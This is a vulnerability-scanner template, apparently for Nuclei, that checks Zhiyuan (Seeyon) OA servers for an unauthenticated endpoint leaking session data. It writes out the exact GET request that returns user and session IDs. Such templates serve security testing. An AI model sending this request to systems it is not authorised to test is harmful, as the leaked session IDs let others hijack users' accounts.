id: zhiyuan-oa-session-leak

info:
  name: Zhiyuan OA Session Leak
  author: pikpikcu
  severity: medium
  description: A vulnerability in Zhiyuan OA allows remote unauthenticated users access to sensitive session information via the 'getSessionList.jsp' endpoint.
  reference:
    - https://www.zhihuifly.com/t/topic/3345
  metadata:
    max-request: 1
  tags: zhiyuan,leak,disclosure,seeyon

http:
  - method: GET
    path:
      - "{{BaseURL}}/yyoa/ext/https/getSessionList.jsp?cmd=getAll"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<usrID>"
          - "<sessionID>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a8160ecd11d5355161f7e01c9f8b89edf434ffe96fa97da7ddcf256802ef76d9022020e6adcffabb2354e18b0b2ceff9c02587c85a92347de649c9ccc6d97d39fd8e:922c64590222798bb761d5b6d8e72950